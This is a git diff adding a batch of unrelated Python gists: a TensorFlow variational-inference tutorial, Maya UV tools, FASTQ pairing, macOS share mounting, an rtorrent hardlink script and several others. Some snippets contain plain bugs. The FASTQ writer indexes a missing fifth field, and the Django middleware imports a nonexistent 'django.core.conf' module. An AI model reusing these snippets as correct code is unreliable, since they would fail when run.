+def _tau_inv(keep_prob, N, l2=0.005, lambda_=0.00001):
+    # -- Variational Dropout Uncertainty Interval by Gal
+    # https://github.com/yaringal/DropoutUncertaintyDemos/blob/master/convnetjs/regression_uncertainty.js
+    tau = keep_prob * l2 / (2. * N * lambda_)
+    return 1. / tau
+
+
+def main(model_name, dropout_keep_prob=1.0):
+    _section("set model")
+    model = Model(model_name, dropout_keep_prob)
+    train_op = model.optimize()
+
+    local_init_op = tf.local_variables_initializer()
+    global_init_op = tf.global_variables_initializer()
+
+    tvars = tf.trainable_variables()
+
+    _section("train")
+    with tf.Session() as sess:
+        sess.run([local_init_op, global_init_op])
+
+        tq = tqdm.trange(2000)
+        for it in tq:
+            data, labels = create_fake_data()
+
+            if _is_loss_function(model.loss):
+                sess.run(train_op, feed_dict={
+                    model.x: data,
+                    model.y: labels,
+                })
+                weight_, bias_ = sess.run([model.weight, model.bias])
+                tq.set_postfix(weight=weight_, bias=bias_)
+
+            else:
+                train_op.update(feed_dict={
+                    model.x: data, 
+                    model.y: labels,
+                })
+                weight_, bias_ = sess.run([model.weight.value(), model.bias.value()])
+                tq.set_postfix(weight=weight_, bias=bias_)
+
+        print("trainable variables:", json.dumps({t.name: sess.run(t).tolist() for t in tvars}, indent=4))
+
+        _section("predict on sample data")
+        print("real weight", REAL_WEIGHT)
+        print("real bias", REAL_BIAS)
+        print("real data", REAL_DATA)
+        print("real labels", REAL_LABELS)
+
+        # -- checking out the variable distribution
+        if _is_loss_function(model.loss):
+            if dropout_keep_prob < 1.0:
+                # don't do dropout for point estimate
+                sess.run(model.keep_prob.assign(1.0))
+                _section("loss optimization w/ dropout")
+            else:
+                _section("loss optimization")
+
+            nn_point_estimate, weight_point_estimate, bias_point_estimate = \
+                sess.run([model.nn, model.weight, model.bias], feed_dict={
+                    model.x: REAL_DATA, 
+                    model.y: REAL_LABELS,
+                })
+            print("weight point estimate", weight_point_estimate)
+            print("bias point estimate", bias_point_estimate)
+            print("nn point estimate", nn_point_estimate)
+            print("mean absolute error", np.mean(np.absolute(nn_point_estimate - REAL_LABELS)))
+
+            if dropout_keep_prob < 1.0:
+                _section("monte carlo simulations")
+
+                sess.run(model.keep_prob.assign(dropout_keep_prob))
+
+                nn_mc = []
+                for _ in range(MC_SAMPLES):
+                    nn_mc.append(sess.run([model.nn], feed_dict={model.x: REAL_DATA, model.y: REAL_LABELS}))
+                nn_mc = np.array(nn_mc)
+
+                print("monte carlo nn mean", np.mean(nn_mc, axis=0))
+                print("monte carlo nn variance", np.var(nn_mc, axis=0))
+                print("+ Gal inverse precision", np.var(nn_mc, axis=0) + _tau_inv(dropout_keep_prob, MC_SAMPLES))
+                print("mean absolute error", np.mean(np.absolute(np.mean(nn_mc, axis=0) - REAL_LABELS)))
+
+        else:
+            _section("variational inference")
+
+            weight_mean, weight_var = sess.run(tf.nn.moments(model.qweight.sample(MC_SAMPLES), axes=[0]))
+            print("weight posterior mean and variance", weight_mean, weight_var)
+            bias_mean, bias_var = sess.run(tf.nn.moments(model.qbias.sample(MC_SAMPLES), axes=[0]))
+            print("bias posterior mean and variance", bias_mean, bias_var)
+
+            _section("prior predictive checks")
+            prior = ed.copy(model.nn, {
+                model.weight: model.weight.mean(), model.bias: model.bias.mean(),
+            }, scope="copied/prior")
+
+            nn_prior = []
+            for _ in range(MC_SAMPLES):
+                nn_prior.append(sess.run(prior.value(), feed_dict={model.x: REAL_DATA, model.y: REAL_LABELS}))
+            nn_prior = np.array(nn_prior)
+
+            print("nn prior mean and variance", np.mean(nn_prior, axis=0), np.var(nn_prior, axis=0))
+            print("mean absolute error", np.mean(np.absolute(np.mean(nn_prior, axis=0) - REAL_LABELS)))
+
+            _section("posterior predictive checks")
+            posterior = ed.copy(model.nn, dict_swap={
+                model.weight: model.qweight.mean(), model.bias: model.qbias.mean(),
+            }, scope="copied/posterior")
+
+            nn_post = sess.run(posterior.sample(MC_SAMPLES), feed_dict={model.x: REAL_DATA})
+
+            print("nn posterior mean and variance", np.mean(nn_post, axis=0), np.var(nn_post, axis=0))
+            print("mean absolute error", np.mean(np.absolute(np.mean(nn_post, axis=0) - REAL_LABELS)))
+
+
+    # TODO: plot?
+
+
+if __name__ == '__main__':
+    """ Try the following:
+
+    >>> python tf_vi_tutorial.py simple_linear
+    >>> python tf_vi_tutorial.py simple_linear .9
+    >>> python tf_vi_tutorial.py bayesian_simple_linear
+    """
+    args = sys.argv
+
+    if len(args) == 1:
+        main("simple_linear")
+    elif len(args) == 2:
+        _, model_name = args
+        main(model_name)
+    elif len(args) == 3:
+        _, model_name, dropout_keep_prob = args
+        dropout_keep_prob = float(dropout_keep_prob)
+        assert 0 < dropout_keep_prob <= 1.0, "keep it real"
+        main(model_name, float(dropout_keep_prob))
diff --git a/hard-gists/a9f0b1ca7e98391a5067/._snippet.py b/hard-gists/a9f0b1ca7e98391a5067/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a9f0b1ca7e98391a5067/._snippet.py differ
diff --git a/hard-gists/a9f0b1ca7e98391a5067/snippet.py b/hard-gists/a9f0b1ca7e98391a5067/snippet.py
new file mode 100644
index 00000000..6ec4c8e4
--- /dev/null
+++ b/hard-gists/a9f0b1ca7e98391a5067/snippet.py
@@ -0,0 +1,86 @@
+# -*- coding: utf-8 -*-
+
+import maya.OpenMaya as om
+import maya.cmds as cmds
+
+def _findFlippedUVs(nodesOnly=True):
+
+	ret = []
+
+	selList = om.MSelectionList()
+	om.MGlobal.getActiveSelectionList(selList)
+
+	dpath = om.MDagPath()
+	u = om.MFloatArray()
+	v = om.MFloatArray()
+
+	cmds.progressWindow(t='findFlippedUVs...', pr=0, st='', isInterruptable=True)
+
+	try:
+		for i in xrange(selList.length()):
+			if cmds.progressWindow(q=True, isCancelled=True): break
+
+			skip=False
+			selList.getDagPath(i, dpath)
+			dpath.extendToShape()
+			node = dpath.node()
+			if node.apiType() != om.MFn.kMesh: continue
+
+			n = dpath.partialPathName()
+			fn = om.MFnMesh(node)
+			it = om.MItMeshPolygon(node)
+
+			maps = []
+			fn.getUVSetNames(maps)
+
+			for m in maps:
+
+				if cmds.progressWindow(q=True, isCancelled=True): break
+				cmds.progressWindow(e=True, pr=100*i/selList.length(), st=n + '.' + m)
+
+				if skip: break
+
+				IDs = []
+				it.reset()
+				while not it.isDone():
+					if skip: break
+					if not it.hasUVs(m):
+						it.next()
+						continue
+
+					it.getUVs(u, v, m)
+					s = 0
+					for k in xrange(1, u.length()-1):
+						v1 = [u[k] - u[0], v[k] - v[0]]
+						v2 = [u[k+1] - u[0], v[k+1] - v[0]]
+						s += v1[0] * v2[1] - v1[1] * v2[0]
+					if s < 0: IDs += [it.index()]
+					if s < 0 and nodesOnly:
+						skip = True
+						break
+
+					it.next()
+
+				if len(IDs) < 1: continue
+
+				if nodesOnly: ret += [n]
+				else: ret += [('%s.f[%d]' % (n, id)) for id in IDs]
+				#if nodesOnly: ret += ['%s    (%s)' % (n, m)]
+				#else: ret += [('%s.f[%d]    (%s)' % (n, id, m)) for id in IDs]
+
+	except:
+		pass
+
+	finally:
+		cmds.progressWindow(endProgress=True)
+
+	return(ret)
+
+if __name__ == "__main__":
+	#-- nodesOnly
+	#ret = _findFlippedUVs()
+	#print(ret)
+
+	#-- getFaceIDs
+	ret = _findFlippedUVs(nodesOnly=False)
+	print(ret)
diff --git a/hard-gists/aa3d19a12b74e9ab7941/._snippet.py b/hard-gists/aa3d19a12b74e9ab7941/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/aa3d19a12b74e9ab7941/._snippet.py differ
diff --git a/hard-gists/aa3d19a12b74e9ab7941/snippet.py b/hard-gists/aa3d19a12b74e9ab7941/snippet.py
new file mode 100644
index 00000000..8e348ca8
--- /dev/null
+++ b/hard-gists/aa3d19a12b74e9ab7941/snippet.py
@@ -0,0 +1,34 @@
+from scipy.spatial.distance import pdist, squareform
+import numpy as np
+
+from numbapro import jit, float32
+
+def distcorr(X, Y):
+    """ Compute the distance correlation function
+    
+    >>> a = [1,2,3,4,5]
+    >>> b = np.array([1,2,9,4,4])
+    >>> distcorr(a, b)
+    0.762676242417
+    """
+    X = np.atleast_1d(X)
+    Y = np.atleast_1d(Y)
+    if np.prod(X.shape) == len(X):
+        X = X[:, None]
+    if np.prod(Y.shape) == len(Y):
+        Y = Y[:, None]
+    X = np.atleast_2d(X)
+    Y = np.atleast_2d(Y)
+    n = X.shape[0]
+    if Y.shape[0] != X.shape[0]:
+        raise ValueError('Number of samples must match')
+    a = squareform(pdist(X))
+    b = squareform(pdist(Y))
+    A = a - a.mean(axis=0)[None, :] - a.mean(axis=1)[:, None] + a.mean()
+    B = b - b.mean(axis=0)[None, :] - b.mean(axis=1)[:, None] + b.mean()
+    
+    dcov2_xy = (A * B).sum()/float(n * n)
+    dcov2_xx = (A * A).sum()/float(n * n)
+    dcov2_yy = (B * B).sum()/float(n * n)
+    dcor = np.sqrt(dcov2_xy)/np.sqrt(np.sqrt(dcov2_xx) * np.sqrt(dcov2_yy))
+    return dcor
\ No newline at end of file
diff --git a/hard-gists/aa46105d34349543582b177ae79f32f0/._snippet.py b/hard-gists/aa46105d34349543582b177ae79f32f0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/aa46105d34349543582b177ae79f32f0/._snippet.py differ
diff --git a/hard-gists/aa46105d34349543582b177ae79f32f0/snippet.py b/hard-gists/aa46105d34349543582b177ae79f32f0/snippet.py
new file mode 100644
index 00000000..8f8a04fe
--- /dev/null
+++ b/hard-gists/aa46105d34349543582b177ae79f32f0/snippet.py
@@ -0,0 +1,87 @@
+# -*- coding: utf-8 -*-
+
+import h5py
+import os
+import numpy as np
+from random import shuffle
+import shutil
+from PIL import Image
+
+SIZE = 227
+TEST_IMAGE = False
+TEST_READ_H5 = False
+TEST_ONE_BATCH = False
+AVOID_WRITING_HDF5 = False
+
+PIXEL_MEANS = np.array([123, 117, 104]).reshape((1, 1, 3))  # ImageNET channel-wise means
+TARGET_DIMENSION = 2
+HDF5_DIR = 'hdf5/'
+
+
+def chunker(seq, size):
+    return (seq[pos:pos + size] for pos in xrange(0, len(seq), size))
+
+
+def show_image(img):
+    from skimage.viewer import ImageViewer
+    img = img.transpose((1, 2, 0))
+    img = img[:, :, ::-1]
+    viewer = ImageViewer(img.reshape(SIZE, SIZE, 3))
+    viewer.show()
+
+
+def go():
+    if not AVOID_WRITING_HDF5 and not TEST_IMAGE and not TEST_READ_H5:
+        recreate_dir(HDF5_DIR)
+    with open('labels.txt') as label_file:
+        f_idx = 0
+        all_lines = label_file.readlines()
+        if TEST_ONE_BATCH:
+            chunk_size = 1
+        else:
+            chunk_size = 1000
+            shuffle(all_lines)
+        for lines in chunker(all_lines, chunk_size):
+            print('starting f_idx: ' + str(f_idx))
+            images = np.zeros((len(lines), 3, SIZE, SIZE), dtype='u4')
+            targets = np.zeros((len(lines), TARGET_DIMENSION), dtype='f4')
+            for i, line in enumerate(lines):
+                image_name, speed, speed_change, steer, direction = line.split(' ')
+                img = np.array(Image.open('images/' + image_name))
+                # img -= PIXEL_MEANS  # Subtract the pixel-wise mean
+                img = img[:, :, ::-1]  # RGB => BGR
+                img = img.transpose((2, 0, 1))  # in Channel x Height x Width order (switch from H x W x C)
+                images[i] = img
+                if TEST_IMAGE:
+                    show_image(img)
+                target = [steer, speed]
+                targets[i] = target
+            if not AVOID_WRITING_HDF5:
+                output_h5(f_idx, images, targets)
+            f_idx += 1
+            if TEST_ONE_BATCH:
+                break
+
+
+def output_h5(f_idx, images, targets):
+    h5_filename = HDF5_DIR + 'train_' + str(f_idx).zfill(4) + '.h5'
+    print('writing hdf5 file for f_idx: ' + str(f_idx))
+    with h5py.File(h5_filename, 'w') as H:
+        H.create_dataset('images', data=images)
+        H.create_dataset('targets', data=targets)
+    if TEST_READ_H5:
+        with h5py.File(h5_filename, 'r') as hf:
+            images_test = hf.get('images')
+            targets_test = hf.get('targets')
+            for i, img in enumerate(images_test):
+                print(targets_test[i])
+                show_image(img)
+
+
+def recreate_dir(dir_name):
+    if os.path.exists(dir_name):
+        shutil.rmtree(dir_name)
+    os.makedirs(dir_name)
+
+
+go()
diff --git a/hard-gists/aa64ddf6109414291030/._snippet.py b/hard-gists/aa64ddf6109414291030/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/aa64ddf6109414291030/._snippet.py differ
diff --git a/hard-gists/aa64ddf6109414291030/snippet.py b/hard-gists/aa64ddf6109414291030/snippet.py
new file mode 100644
index 00000000..d139efe6
--- /dev/null
+++ b/hard-gists/aa64ddf6109414291030/snippet.py
@@ -0,0 +1,32 @@
+#!/usr/bin/python
+
+from Bio import SeqIO
+import sys
+
+readDict = dict()
+
+with open(sys.argv[1],"rb") as r1:
+	for record in SeqIO.parse(r1,'fastq'):
+		readDict[record.id] = dict()
+		readDict[record.id]["r1"] = [record.id,record.description,record.seq,record.quality]
+		readDict[record.id]["r2"] = None
+
+with open(sys.argv[2],"rb") as r2:
+	for record in SeqIO.parse(r2,'fastq'):
+		if readDict.has_key(record.id):
+			readDict[record.id]["r2"] = [record.id,record.description,record.seq,record.quality]
+		else:
+			readDict[record.id] = dict()
+			readDict[record.id]["r1"] = None
+			readDict[record.id]["r2"] = [record.id,record.description,record.seq,record.quality]
+			
+
+with open(sys.argv[3]+".r1.fastq","w") as pe1, open(sys.argv[3]+".r2.fastq","w") as pe2, open(sys.argv[3]+".se.fastq","w") as se:
+	for key in readDict:
+		if readDict[key]["r1"] == None:
+			se.write("@"+readDict[key]["r2"][0]+" "+readDict[key]["r2"][1]+"\n"+readDict[key]["r2"][2]+"\n+\n"+readDict[key]["r2"][4])
+		elif readDict[key]["r2"] == None:
+			se.write("@"+readDict[key]["r1"][0]+" "+readDict[key]["r1"][1]+"\n"+readDict[key]["r1"][2]+"\n+\n"+readDict[key]["r1"][4])
+		else:
+			pe1.write("@"+readDict[key]["r1"][0]+" "+readDict[key]["r1"][1]+"\n"+readDict[key]["r1"][2]+"\n+\n"+readDict[key]["r1"][4])
+			pe2.write("@"+readDict[key]["r2"][0]+" "+readDict[key]["r2"][1]+"\n"+readDict[key]["r2"][2]+"\n+\n"+readDict[key]["r2"][4])
diff --git a/hard-gists/aa8713d4334036bcb0060ff73dba54c4/._snippet.py b/hard-gists/aa8713d4334036bcb0060ff73dba54c4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/aa8713d4334036bcb0060ff73dba54c4/._snippet.py differ
diff --git a/hard-gists/aa8713d4334036bcb0060ff73dba54c4/snippet.py b/hard-gists/aa8713d4334036bcb0060ff73dba54c4/snippet.py
new file mode 100644
index 00000000..b7efbb39
--- /dev/null
+++ b/hard-gists/aa8713d4334036bcb0060ff73dba54c4/snippet.py
@@ -0,0 +1,95 @@
+#!/usr/bin/python
+
+import objc, CoreFoundation, Foundation, sys
+
+class attrdict(dict): 
+    __getattr__ = dict.__getitem__
+    __setattr__ = dict.__setitem__
+
+NetFS = attrdict()
+# Can cheat and provide 'None' for the identifier, it'll just use frameworkPath instead
+# scan_classes=False means only add the contents of this Framework
+NetFS_bundle = objc.initFrameworkWrapper('NetFS', frameworkIdentifier=None, frameworkPath=objc.pathForFramework('NetFS.framework'), globals=NetFS, scan_classes=False)
+
+# https://developer.apple.com/library/mac/documentation/Cocoa/Conceptual/ObjCRuntimeGuide/Articles/ocrtTypeEncodings.html
+# Fix NetFSMountURLSync signature
+del NetFS['NetFSMountURLSync']
+objc.loadBundleFunctions(NetFS_bundle, NetFS, [('NetFSMountURLSync', 'i@@@@@@o^@')])
+
+def mount_share(share_path):
+    # Mounts a share at /Volumes, returns the mount point or raises an error
+    sh_url = CoreFoundation.CFURLCreateWithString(None, share_path, None)
+    # Set UI to reduced interaction
+    open_options  = {NetFS.kNAUIOptionKey: NetFS.kNAUIOptionNoUI}
+    # Allow mounting sub-directories of root shares
+    mount_options = {NetFS.kNetFSAllowSubMountsKey: True}
+    # Mount!
+    result, output = NetFS.NetFSMountURLSync(sh_url, None, None, None, open_options, mount_options, None)
+    # Check if it worked
+    if result != 0:
+         raise Exception('Error mounting url "%s": %s' % (share_path, output))
+    # Return the mountpath
+    return str(output[0])
+
+def mount_share_at_path(share_path, mount_path):
+    # Mounts a share at the specified path, returns the mount point or raises an error
+    sh_url = CoreFoundation.CFURLCreateWithString(None, share_path, None)
+    mo_url = CoreFoundation.CFURLCreateWithString(None, mount_path, None)
+    # Set UI to reduced interaction
+    open_options  = {NetFS.kNAUIOptionKey: NetFS.kNAUIOptionNoUI}
+    # Allow mounting sub-directories of root shares
+    # Also specify the share should be mounted directly at (not under) mount_path
+    mount_options = {
+                     NetFS.kNetFSAllowSubMountsKey: True,
+                     NetFS.kNetFSMountAtMountDirKey: True,
+                    }
+    # Mount!
+    result, output = NetFS.NetFSMountURLSync(sh_url, mo_url, None, None, open_options, mount_options, None)
+    # Check if it worked
+    if result != 0:
+         raise Exception('Error mounting url "%s" at path "%s": %s' % (share_path, mount_path, output))
+    # Return the mountpath
+    return str(output[0])
+
+def mount_share_with_credentials(share_path, username, password):
+    # Mounts a share at /Volumes, returns the mount point or raises an error
+    # Include username and password as parameters, not in the share_path URL
+    sh_url = CoreFoundation.CFURLCreateWithString(None, share_path, None)
+    # Set UI to reduced interaction
+    open_options  = {NetFS.kNAUIOptionKey: NetFS.kNAUIOptionNoUI}
+    # Allow mounting sub-directories of root shares
+    mount_options = {NetFS.kNetFSAllowSubMountsKey: True}
+    # Mount!
+    result, output = NetFS.NetFSMountURLSync(sh_url, None, username, password, open_options, mount_options, None)
+    # Check if it worked
+    if result != 0:
+         raise Exception('Error mounting url "%s": %s' % (share_path, output))
+    # Return the mountpath
+    return str(output[0])
+
+def mount_share_at_path_with_credentials(share_path, mount_path, username, password):
+    # Mounts a share at the specified path, returns the mount point or raises an error
+    # Include username and password as parameters, not in the share_path URL
+    sh_url = CoreFoundation.CFURLCreateWithString(None, share_path, None)
+    mo_url = CoreFoundation.CFURLCreateWithString(None, mount_path, None)
+    # Set UI to reduced interaction
+    open_options  = {NetFS.kNAUIOptionKey: NetFS.kNAUIOptionNoUI}
+    # Allow mounting sub-directories of root shares
+    # Also specify the share should be mounted directly at (not under) mount_path
+    mount_options = {
+                     NetFS.kNetFSAllowSubMountsKey: True,
+                     NetFS.kNetFSMountAtMountDirKey: True,
+                    }
+    # Mount!
+    result, output = NetFS.NetFSMountURLSync(sh_url, mo_url, username, password, open_options, mount_options, None)
+    # Check if it worked
+    if result != 0:
+         raise Exception('Error mounting url "%s" at path "%s": %s' % (share_path, mount_path, output))
+    # Return the mountpath
+    return str(output[0])
+
+if __name__ == '__main__':
+    if (len(sys.argv) != 3):
+        print "Usage: mount_shares_tool.py 'afp://servername/share' '/path/to/mount/at'"
+    else:
+        mount_share_at_path(sys.argv[1], sys.argv[2])
\ No newline at end of file
diff --git a/hard-gists/aad88d51001ea83ecfc6/._snippet.py b/hard-gists/aad88d51001ea83ecfc6/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/aad88d51001ea83ecfc6/._snippet.py differ
diff --git a/hard-gists/aad88d51001ea83ecfc6/snippet.py b/hard-gists/aad88d51001ea83ecfc6/snippet.py
new file mode 100644
index 00000000..b1485d5b
--- /dev/null
+++ b/hard-gists/aad88d51001ea83ecfc6/snippet.py
@@ -0,0 +1,98 @@
+import os
+import re
+import subprocess
+import ycm_core
+
+def LoadSystemIncludes():
+    regex = re.compile(ur'(?:\#include \<...\> search starts here\:)(?P<list>.*?)(?:End of search list)', re.DOTALL);
+    process = subprocess.Popen(['clang', '-v', '-E', '-x', 'c++', '-'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE);
+    process_out, process_err = process.communicate('');
+    output = process_out + process_err;
+    includes = [];
+    for p in re.search(regex, output).group('list').split('\n'):
+        p = p.strip();
+        if len(p) > 0 and p.find('(framework directory)') < 0:
+            includes.append('-isystem');
+            includes.append(p);
+    return includes;
+
+SOURCE_EXTENSIONS = [ '.cpp', '.cxx', '.cc', '.c', '.m', '.mm' ]
+scriptPath = os.path.dirname(os.path.abspath(__file__));
+compilation_database_folder = os.path.join(scriptPath, 'build')
+database = None if not os.path.exists(compilation_database_folder) else ycm_core.CompilationDatabase(compilation_database_folder)
+flags = [
+    '-Wall',
+    '-std=c++11',
+    '-stdlib=libc++',
+    '-x',
+    'c++',
+    '-I',
+    '.',
+]
+systemIncludes = LoadSystemIncludes();
+flags = flags + systemIncludes;
+
+def MakeRelativePathsInFlagsAbsolute( flags, working_directory ):
+  if not working_directory:
+    return list(flags)
+  new_flags = []
+  make_next_absolute = False
+  path_flags = ['-isystem', '-I', '-iquote', '--sysroot=']
+  for flag in flags:
+    new_flag = flag
+
+    if make_next_absolute:
+      make_next_absolute = False
+      if not flag.startswith('/'):
+        new_flag = os.path.join(working_directory, flag)
+
+    for path_flag in path_flags:
+      if flag == path_flag:
+        make_next_absolute = True
+        break
+
+      if flag.startswith(path_flag):
+        path = flag[len(path_flag):]
+        new_flag = path_flag + os.path.join(working_directory, path)
+        break
+
+    if new_flag:
+      new_flags.append(new_flag)
+  return new_flags
+
+def IsHeaderFile(filename):
+  extension = os.path.splitext(filename)[1]
+  return extension in ['.h', '.hxx', '.hpp', '.hh']
+
+def GetCompilationInfoForFile(filename):
+  # The compilation_commands.json file generated by CMake does not have entries
+  # for header files. So we do our best by asking the db for flags for a
+  # corresponding source file, if any. If one exists, the flags for that file
+  # should be good enough.
+  if IsHeaderFile(filename):
+    basename = os.path.splitext(filename)[0]
+    for extension in SOURCE_EXTENSIONS:
+      replacement_file = basename + extension
+      if os.path.exists(replacement_file):
+        compilation_info = database.GetCompilationInfoForFile(replacement_file)
+        if compilation_info.compiler_flags_:
+          return compilation_info
+    return None
+  return database.GetCompilationInfoForFile(filename)
+
+def FlagsForFile(filename, **kwargs):
+  if database:
+    # Bear in mind that compilation_info.compiler_flags_ does NOT return a
+    # python list, but a "list-like" StringVec object
+    compilation_info = GetCompilationInfoForFile(filename)
+    if not compilation_info:
+      return None
+
+    final_flags = MakeRelativePathsInFlagsAbsolute(compilation_info.compiler_flags_, compilation_info.compiler_working_dir_) + systemIncludes
+  else:
+    final_flags = MakeRelativePathsInFlagsAbsolute(flags, scriptPath)
+
+  return {
+    'flags': final_flags,
+    'do_cache': True
+  }
diff --git a/hard-gists/aad8a37114825b0ce1a5bc48bf5f3cac/._snippet.py b/hard-gists/aad8a37114825b0ce1a5bc48bf5f3cac/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/aad8a37114825b0ce1a5bc48bf5f3cac/._snippet.py differ
diff --git a/hard-gists/aad8a37114825b0ce1a5bc48bf5f3cac/snippet.py b/hard-gists/aad8a37114825b0ce1a5bc48bf5f3cac/snippet.py
new file mode 100644
index 00000000..dd33a737
--- /dev/null
+++ b/hard-gists/aad8a37114825b0ce1a5bc48bf5f3cac/snippet.py
@@ -0,0 +1,10 @@
+from pymouse import PyMouse
+import time
+
+m = PyMouse()
+
+while True:
+    m.click(528, 800-196, 1)
+    time.sleep(3)
+
+
diff --git a/hard-gists/ab136dbfb97f8ee1d309/._snippet.py b/hard-gists/ab136dbfb97f8ee1d309/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ab136dbfb97f8ee1d309/._snippet.py differ
diff --git a/hard-gists/ab136dbfb97f8ee1d309/snippet.py b/hard-gists/ab136dbfb97f8ee1d309/snippet.py
new file mode 100644
index 00000000..209d8200
--- /dev/null
+++ b/hard-gists/ab136dbfb97f8ee1d309/snippet.py
@@ -0,0 +1,13 @@
+from django.core.conf import settings
+
+class DbgResponse(object):
+    def process_response(self, request, response):
+        """Add html, head, and body tags so debug toolbar will activate."""
+        if request.GET.get('dbg') and settings.DEBUG:
+            cnt = response.content
+            if '<body>' not in cnt:
+                response.content = '<html><head></head><body>%s</body></html>' % cnt
+                if 'content_type' in response._headers:
+                    hdr = response._headers['content_type']
+                    response._headers['content_type'] = (hdr[0], 'text/html')
+        return response
\ No newline at end of file
diff --git a/hard-gists/ab2e34dc58c8c2d0f2e15f25b528dc19/._snippet.py b/hard-gists/ab2e34dc58c8c2d0f2e15f25b528dc19/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ab2e34dc58c8c2d0f2e15f25b528dc19/._snippet.py differ
diff --git a/hard-gists/ab2e34dc58c8c2d0f2e15f25b528dc19/snippet.py b/hard-gists/ab2e34dc58c8c2d0f2e15f25b528dc19/snippet.py
new file mode 100644
index 00000000..14a441ff
--- /dev/null
+++ b/hard-gists/ab2e34dc58c8c2d0f2e15f25b528dc19/snippet.py
@@ -0,0 +1,131 @@
+#! /usr/bin/env python-pyrocore
+
+from pyrocore import connect
+import os
+
+files = {}
+
+verbose = False
+test = False
+
+rootDir = "/home/username/torrents/rtorrent"
+minSize = 1048576 # 1 mb of data before trying to map file
+minSizeConflicts = 1e8 # 0.1 Gb of data min to not skip conflict
+
+
+conflictItems = 0
+conflictBytes = 0
+totalItems = 0
+totalBytes = 0
+
+for dirName, subdirList, fileList in os.walk(rootDir):
+    for fname in fileList:
+        file = dirName + '/' + fname
+        size = os.path.getsize(file)
+
+        totalItems += 1
+        totalBytes += size
+
+        if size < minSize:
+          pass
+
+        elif files.has_key(size) and size < minSizeConflicts:
+          print('Warning: we have two files with the same size (%s)' % str(size))
+          print('  %s' % file)
+          print('  %s' % files[size])
+          print('Skipping file...')
+
+          files[size] = '__CONFLICT__'
+
+          conflictItems += 1
+          conflictBytes += size
+
+        else:
+          files[size] = file
+
+        if files.has_key(fname):
+          print('Warning: we have two files with the same name (%s)' % fname)
+          print(' %s' % file)
+          print(' %s' % files[fname])
+          print('Skipping file...')
+
+          files[fname] = '__CONFLICT__'
+
+        else:
+          files[fname] = file
+
+
+
+print('{0} files treated, of which {1} have been skipped due to size conflicts'.format(totalItems, conflictItems))
+print('It represents about {0} bytes of data to be re-downloaded'.format(conflictBytes))
+
+rt = connect()
+proxy = rt.open()
+
+torrents = proxy.download_list()
+print('Treating torrents')
+for hash in torrents:
+  name = proxy.d.get_name(hash)
+  multi = proxy.d.is_multi_file(hash)
+
+  # exists = os.path.exists(dir)
+  # print('  %s (%s %s)' % (name, dir, u'\033[92m\u2713\033[0m' if exists else u'\033[91m\u2717\033[0m'))
+  # last =  os.path.basename(os.path.dirname(dir))
+
+  newPath = '/home/username/torrents/rtorrent/Bulk/' + name if multi == 1 else ''
+
+  fileCount = proxy.d.size_files(hash)
+
+  if verbose: print('    ' + str(fileCount) + ' files detected')
+
+  print('d.set_directory_base ' + newPath)
+
+  if not test:
+    proxy.d.set_directory_base(hash, newPath)
+
+  for i in xrange(0, fileCount):
+    id = hash + ':f' + str(i)
+
+    fileName = proxy.f.get_path(id)
+    fileSize = proxy.f.get_size_bytes(id)
+
+    base = os.path.basename(fileName)
+
+    if verbose: print('     %s (%s)' % (fileName, str(fileSize)))
+
+    size = False
+    name = False
+
+    size = files.has_key(fileSize) and files[fileSize] != '__CONFLICT__'
+
+    name = files.has_key(base) and files[base] != '__CONFLICT__'
+
+    identifier = fileSize if size else fileName
+
+    if name and not size:
+      fileSize2 = os.path.getsize(files[base])
+      size = fileSize2 == fileSize
+
+    if size or (size and name) :
+      # Let's go!
+
+      target = newPath + '/' + fileName
+
+      try:
+        os.makedirs(os.path.dirname(target))
+      except OSError as exc:
+        pass
+
+      try:
+        source = files[identifier]
+        print(source + ' <= ' + target)
+
+        if not test:
+          os.link(source, target)
+
+      except KeyError as exc:
+        pass
+      except OSError as exc:
+        pass
+      except UnicodeDecodeError as exc:
+        pass
\ No newline at end of file
diff --git a/hard-gists/abb8a2f22adbdb6d387f/._snippet.py b/hard-gists/abb8a2f22adbdb6d387f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/abb8a2f22adbdb6d387f/._snippet.py differ
diff --git a/hard-gists/abb8a2f22adbdb6d387f/snippet.py b/hard-gists/abb8a2f22adbdb6d387f/snippet.py
new file mode 100644
index 00000000..84787c19
--- /dev/null
+++ b/hard-gists/abb8a2f22adbdb6d387f/snippet.py
@@ -0,0 +1,75 @@
+# Requires pydub (with ffmpeg) and Pillow
+#
+# Usage: python waveform.py <audio_file>
+
+import sys
+
+from pydub import AudioSegment
+from PIL import Image, ImageDraw
+
+
+class Waveform(object):
+
+    bar_count = 107
+    db_ceiling = 60
+
+    def __init__(self, filename):
+        self.filename = filename
+
+        audio_file = AudioSegment.from_file(
+            self.filename, self.filename.split('.')[-1])
+
+        self.peaks = self._calculate_peaks(audio_file)
+
+    def _calculate_peaks(self, audio_file):
+        """ Returns a list of audio level peaks """
+        chunk_length = len(audio_file) / self.bar_count
+
+        loudness_of_chunks = [
+            audio_file[i * chunk_length: (i + 1) * chunk_length].rms
+            for i in range(self.bar_count)]
+
+        max_rms = max(loudness_of_chunks) * 1.00
+
+        return [int((loudness / max_rms) * self.db_ceiling)
+                for loudness in loudness_of_chunks]
+
+    def _get_bar_image(self, size, fill):
+        """ Returns an image of a bar. """
+        width, height = size
+        bar = Image.new('RGBA', size, fill)
+
+        end = Image.new('RGBA', (width, 2), fill)
+        draw = ImageDraw.Draw(end)
+        draw.point([(0, 0), (3, 0)], fill='#c1c1c1')
+        draw.point([(0, 1), (3, 1), (1, 0), (2, 0)], fill='#555555')
+
+        bar.paste(end, (0, 0))
+        bar.paste(end.rotate(180), (0, height - 2))
+        return bar
+
+    def _generate_waveform_image(self):
+        """ Returns the full waveform image """
